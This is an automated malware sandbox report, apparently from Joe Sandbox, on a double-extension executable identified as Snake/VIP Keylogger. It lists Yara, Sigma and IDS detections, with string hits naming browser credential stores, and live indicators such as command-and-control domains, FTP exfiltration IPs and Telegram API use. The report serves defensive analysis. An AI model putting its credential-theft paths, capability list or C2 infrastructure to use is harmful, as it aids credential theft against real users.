Edit tour

Windows Analysis Report
DC74433Y7889021.xlsx.exe

Overview

General Information

Sample name:	DC74433Y7889021.xlsx.exe
Analysis ID:	1474973
MD5:	6fd5c95f3bc8ac876f1babed1b839dcd
SHA1:	b35d7e77ac643ab5d9bbe7442553aa82ac1379c3
SHA256:	d1fcbf364ad31af81a9612d9633e1b6598375983354390bfaa32b5ea5a7c3a6d
Tags:	exe
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Sigma detected: Suspicious Double Extension File Execution

Snort IDS alert for network traffic

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code references suspicious native API functions

AI detected suspicious sample

Connects to many ports of the same IP (likely port scanning)

Machine Learning detection for sample

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses an obfuscated file name to hide its real file extension (double extension)

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses FTP

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

DC74433Y7889021.xlsx.exe (PID: 2488 cmdline: "C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe" MD5: 6FD5C95F3BC8AC876F1BABED1B839DCD)

DC74433Y7889021.xlsx.exe (PID: 2992 cmdline: "C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe" MD5: 6FD5C95F3BC8AC876F1BABED1B839DCD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d39e:$a1: get_encryptedPassword 0x2d6bb:$a2: get_encryptedUsername 0x2d1ae:$a3: get_timePasswordChanged 0x2d2b7:$a4: get_passwordField 0x2d3b4:$a5: set_encryptedPassword 0x2e9f6:$a7: get_logins 0x2e959:$a10: KeyLoggerEventArgs 0x2e5ec:$a11: KeyLoggerEventArgsEventHandler
00000001.00000002.4130524179.0000000002431000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x196fae:$a1: get_encryptedPassword 0x1da3de:$a1: get_encryptedPassword 0x21d5fe:$a1: get_encryptedPassword 0x1972cb:$a2: get_encryptedUsername 0x1da6fb:$a2: get_encryptedUsername 0x21d91b:$a2: get_encryptedUsername 0x196dbe:$a3: get_timePasswordChanged 0x1da1ee:$a3: get_timePasswordChanged 0x21d40e:$a3: get_timePasswordChanged 0x196ec7:$a4: get_passwordField 0x1da2f7:$a4: get_passwordField 0x21d517:$a4: get_passwordField 0x196fc4:$a5: set_encryptedPassword 0x1da3f4:$a5: set_encryptedPassword 0x21d614:$a5: set_encryptedPassword 0x198606:$a7: get_logins 0x1dba36:$a7: get_logins 0x21ec56:$a7: get_logins 0x198569:$a10: KeyLoggerEventArgs 0x1db999:$a10: KeyLoggerEventArgs 0x21ebb9:$a10: KeyLoggerEventArgs
Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2488	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2488	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2488	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2488	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x75b8f:$a1: get_encryptedPassword 0x75dfa:$a2: get_encryptedUsername 0x759c2:$a3: get_timePasswordChanged 0x75ab2:$a4: get_passwordField 0x75ba5:$a5: set_encryptedPassword 0x7794b:$a7: get_logins 0x778cc:$a10: KeyLoggerEventArgs 0x77673:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2992	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2992	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2992	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2992	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x5207:$a1: get_encryptedPassword 0x551a:$a2: get_encryptedUsername 0x5021:$a3: get_timePasswordChanged 0x512a:$a4: get_passwordField 0x521d:$a5: set_encryptedPassword 0x75ff:$a7: get_logins 0x7562:$a10: KeyLoggerEventArgs 0x71f9:$a11: KeyLoggerEventArgsEventHandler
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2b79e:$a1: get_encryptedPassword 0x2babb:$a2: get_encryptedUsername 0x2b5ae:$a3: get_timePasswordChanged 0x2b6b7:$a4: get_passwordField 0x2b7b4:$a5: set_encryptedPassword 0x2cdf6:$a7: get_logins 0x2cd59:$a10: KeyLoggerEventArgs 0x2c9ec:$a11: KeyLoggerEventArgsEventHandler
1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d59e:$a1: get_encryptedPassword 0x2d8bb:$a2: get_encryptedUsername 0x2d3ae:$a3: get_timePasswordChanged 0x2d4b7:$a4: get_passwordField 0x2d5b4:$a5: set_encryptedPassword 0x2ebf6:$a7: get_logins 0x2eb59:$a10: KeyLoggerEventArgs 0x2e7ec:$a11: KeyLoggerEventArgsEventHandler
0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x398a5:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38f48:$a3: \Google\Chrome\User Data\Default\Login Data 0x391a5:$a4: \Orbitum\User Data\Default\Login Data 0x39b84:$a5: \Kometa\User Data\Default\Login Data
1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b6a5:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3ad48:$a3: \Google\Chrome\User Data\Default\Login Data 0x3afa5:$a4: \Orbitum\User Data\Default\Login Data 0x3b984:$a5: \Kometa\User Data\Default\Login Data
0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c37b:$s1: UnHook 0x2c382:$s2: SetHook 0x2c38a:$s3: CallNextHook 0x2c397:$s4: _hook
1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e17b:$s1: UnHook 0x2e182:$s2: SetHook 0x2e18a:$s3: CallNextHook 0x2e197:$s4: _hook
0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2b79e:$a1: get_encryptedPassword 0x2babb:$a2: get_encryptedUsername 0x2b5ae:$a3: get_timePasswordChanged 0x2b6b7:$a4: get_passwordField 0x2b7b4:$a5: set_encryptedPassword 0x2cdf6:$a7: get_logins 0x2cd59:$a10: KeyLoggerEventArgs 0x2c9ec:$a11: KeyLoggerEventArgsEventHandler
0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x398a5:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38f48:$a3: \Google\Chrome\User Data\Default\Login Data 0x391a5:$a4: \Orbitum\User Data\Default\Login Data 0x39b84:$a5: \Kometa\User Data\Default\Login Data
0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c37b:$s1: UnHook 0x2c382:$s2: SetHook 0x2c38a:$s3: CallNextHook 0x2c397:$s4: _hook
0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d59e:$a1: get_encryptedPassword 0x707be:$a1: get_encryptedPassword 0x2d8bb:$a2: get_encryptedUsername 0x70adb:$a2: get_encryptedUsername 0x2d3ae:$a3: get_timePasswordChanged 0x705ce:$a3: get_timePasswordChanged 0x2d4b7:$a4: get_passwordField 0x706d7:$a4: get_passwordField 0x2d5b4:$a5: set_encryptedPassword 0x707d4:$a5: set_encryptedPassword 0x2ebf6:$a7: get_logins 0x71e16:$a7: get_logins 0x2eb59:$a10: KeyLoggerEventArgs 0x71d79:$a10: KeyLoggerEventArgs 0x2e7ec:$a11: KeyLoggerEventArgsEventHandler 0x71a0c:$a11: KeyLoggerEventArgsEventHandler
0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b6a5:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7e8c5:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3ad48:$a3: \Google\Chrome\User Data\Default\Login Data 0x7df68:$a3: \Google\Chrome\User Data\Default\Login Data 0x3afa5:$a4: \Orbitum\User Data\Default\Login Data 0x7e1c5:$a4: \Orbitum\User Data\Default\Login Data 0x3b984:$a5: \Kometa\User Data\Default\Login Data 0x7eba4:$a5: \Kometa\User Data\Default\Login Data
0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e17b:$s1: UnHook 0x7139b:$s1: UnHook 0x2e182:$s2: SetHook 0x713a2:$s2: SetHook 0x2e18a:$s3: CallNextHook 0x713aa:$s3: CallNextHook 0x2e197:$s4: _hook 0x713b7:$s4: _hook
0.2.DC74433Y7889021.xlsx.exe.3d5a970.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.DC74433Y7889021.xlsx.exe.3d5a970.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.DC74433Y7889021.xlsx.exe.3d5a970.4.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.DC74433Y7889021.xlsx.exe.3d5a970.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.DC74433Y7889021.xlsx.exe.3d5a970.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12563e:$a1: get_encryptedPassword 0x168a6e:$a1: get_encryptedPassword 0x1abc8e:$a1: get_encryptedPassword 0x12595b:$a2: get_encryptedUsername 0x168d8b:$a2: get_encryptedUsername 0x1abfab:$a2: get_encryptedUsername 0x12544e:$a3: get_timePasswordChanged 0x16887e:$a3: get_timePasswordChanged 0x1aba9e:$a3: get_timePasswordChanged 0x125557:$a4: get_passwordField 0x168987:$a4: get_passwordField 0x1abba7:$a4: get_passwordField 0x125654:$a5: set_encryptedPassword 0x168a84:$a5: set_encryptedPassword 0x1abca4:$a5: set_encryptedPassword 0x126c96:$a7: get_logins 0x16a0c6:$a7: get_logins 0x1ad2e6:$a7: get_logins 0x126bf9:$a10: KeyLoggerEventArgs 0x16a029:$a10: KeyLoggerEventArgs 0x1ad249:$a10: KeyLoggerEventArgs
0.2.DC74433Y7889021.xlsx.exe.3d5a970.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x12621b:$s1: UnHook 0x16964b:$s1: UnHook 0x1ac86b:$s1: UnHook 0x126222:$s2: SetHook 0x169652:$s2: SetHook 0x1ac872:$s2: SetHook 0x12622a:$s3: CallNextHook 0x16965a:$s3: CallNextHook 0x1ac87a:$s3: CallNextHook 0x126237:$s4: _hook 0x169667:$s4: _hook 0x1ac887:$s4: _hook
0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d59e:$a1: get_encryptedPassword 0x709ce:$a1: get_encryptedPassword 0xb3bee:$a1: get_encryptedPassword 0x2d8bb:$a2: get_encryptedUsername 0x70ceb:$a2: get_encryptedUsername 0xb3f0b:$a2: get_encryptedUsername 0x2d3ae:$a3: get_timePasswordChanged 0x707de:$a3: get_timePasswordChanged 0xb39fe:$a3: get_timePasswordChanged 0x2d4b7:$a4: get_passwordField 0x708e7:$a4: get_passwordField 0xb3b07:$a4: get_passwordField 0x2d5b4:$a5: set_encryptedPassword 0x709e4:$a5: set_encryptedPassword 0xb3c04:$a5: set_encryptedPassword 0x2ebf6:$a7: get_logins 0x72026:$a7: get_logins 0xb5246:$a7: get_logins 0x2eb59:$a10: KeyLoggerEventArgs 0x71f89:$a10: KeyLoggerEventArgs 0xb51a9:$a10: KeyLoggerEventArgs
0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b6a5:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7ead5:$a2: \Comodo\Dragon\User Data\Default\Login Data 0xc1cf5:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3ad48:$a3: \Google\Chrome\User Data\Default\Login Data 0x7e178:$a3: \Google\Chrome\User Data\Default\Login Data 0xc1398:$a3: \Google\Chrome\User Data\Default\Login Data 0x3afa5:$a4: \Orbitum\User Data\Default\Login Data 0x7e3d5:$a4: \Orbitum\User Data\Default\Login Data 0xc15f5:$a4: \Orbitum\User Data\Default\Login Data 0x3b984:$a5: \Kometa\User Data\Default\Login Data 0x7edb4:$a5: \Kometa\User Data\Default\Login Data 0xc1fd4:$a5: \Kometa\User Data\Default\Login Data
0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e17b:$s1: UnHook 0x715ab:$s1: UnHook 0xb47cb:$s1: UnHook 0x2e182:$s2: SetHook 0x715b2:$s2: SetHook 0xb47d2:$s2: SetHook 0x2e18a:$s3: CallNextHook 0x715ba:$s3: CallNextHook 0xb47da:$s3: CallNextHook 0x2e197:$s4: _hook 0x715c7:$s4: _hook 0xb47e7:$s4: _hook
Click to see the 34 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Double Extension File Execution

Source: Process started

Author: Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe", CommandLine: "C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe, NewProcessName: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe, OriginalFileName: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe", ProcessId: 2488, ProcessName: DC74433Y7889021.xlsx.exe

Snort Signatures

ETPRO TROJAN SnakeKeylogger Exfil via FTP M1 - Source IP: 192.168.2.4 - Destination IP: 213.189.52.181

Timestamp:	07/17/24-14:17:22.648999
SID:	2845532
Source Port:	49756
Destination Port:	21
Protocol:	TCP
Classtype:	A Network Trojan was detected

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-07-17T14:17:08.911771+0200
SID:	2803305
Source Port:	49742
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE SnakeKeylogger Exfil via FTP M1 - Source IP: 192.168.2.4 - Destination IP: 213.189.52.181

Timestamp:	2024-07-17T14:19:21.508196+0200
SID:	2845532
Source Port:	49756
Destination Port:	21
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-07-17T14:17:11.365188+0200
SID:	2803305
Source Port:	49747
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.4 - Destination IP: 193.122.130.0

Timestamp:	2024-07-17T14:17:05.037579+0200
SID:	2803274
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.114.59.183 - Destination IP: 192.168.2.4

Timestamp:	2024-07-17T14:17:58.639130+0200
SID:	2022930
Source Port:	443
Destination Port:	49763
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.114.59.183 - Destination IP: 192.168.2.4

Timestamp:	2024-07-17T14:17:20.554901+0200
SID:	2022930
Source Port:	443
Destination Port:	49753
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-07-17T14:17:05.614505+0200
SID:	2803305
Source Port:	49735
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.4 - Destination IP: 193.122.130.0

Timestamp:	2024-07-17T14:17:06.146860+0200
SID:	2803274
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: DC74433Y7889021.xlsx.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://anotherarmy.dns.army:8081	Avira URL Cloud: Label: malware
Source: http://aborters.duckdns.org:8081	Avira URL Cloud: Label: malware

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: DC74433Y7889021.xlsx.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: DC74433Y7889021.xlsx.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49752 version: TLS 1.2

Source: DC74433Y7889021.xlsx.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\GT350\source\repos\UpdatedRunpe\UpdatedRunpe\obj\x86\Debug\AQipUvwTwkLZyiCs.pdb source: DC74433Y7889021.xlsx.exe, 00000000.00000002.1688208679.0000000005620000.00000004.08000000.00040000.00000000.sdmp, DC74433Y7889021.xlsx.exe, 00000000.00000002.1686646737.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4136425444.0000000005C99000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdbt source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4136425444.0000000005C99000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 023BF45Dh	1_2_023BF2C0
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 023BF45Dh	1_2_023BF4AC
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 023BFC19h	1_2_023BF961
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 060E0D0Dh	1_2_060E0B30
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 060E1697h	1_2_060E0B30
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 060E2C19h	1_2_060E2968
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 060E31E0h	1_2_060E2DC8
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 060EE0A9h	1_2_060EDE00
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 060EE501h	1_2_060EE258
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	1_2_060E0673
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 060EE959h	1_2_060EE6B0
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 060EEDB1h	1_2_060EEB08
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 060EF209h	1_2_060EEF60
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 060EF661h	1_2_060EF3B8
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 060EFAB9h	1_2_060EF810
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	1_2_060E0040
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	1_2_060E0853
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 060ECF49h	1_2_060ECCA0
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 060ED3A1h	1_2_060ED0F8
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 060E31E0h	1_2_060E310E
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 060ED7F9h	1_2_060ED550
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 060EDC51h	1_2_060ED9A8
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Code function: 4x nop then jmp 060E31E0h	1_2_060E2DC2

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2845532 ETPRO TROJAN SnakeKeylogger Exfil via FTP M1 192.168.2.4:49756 -> 213.189.52.181:21

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 213.189.52.181 ports 64212,63014,64119,1,2,21

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3d5a970.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.4:49759 -> 213.189.52.181:64212

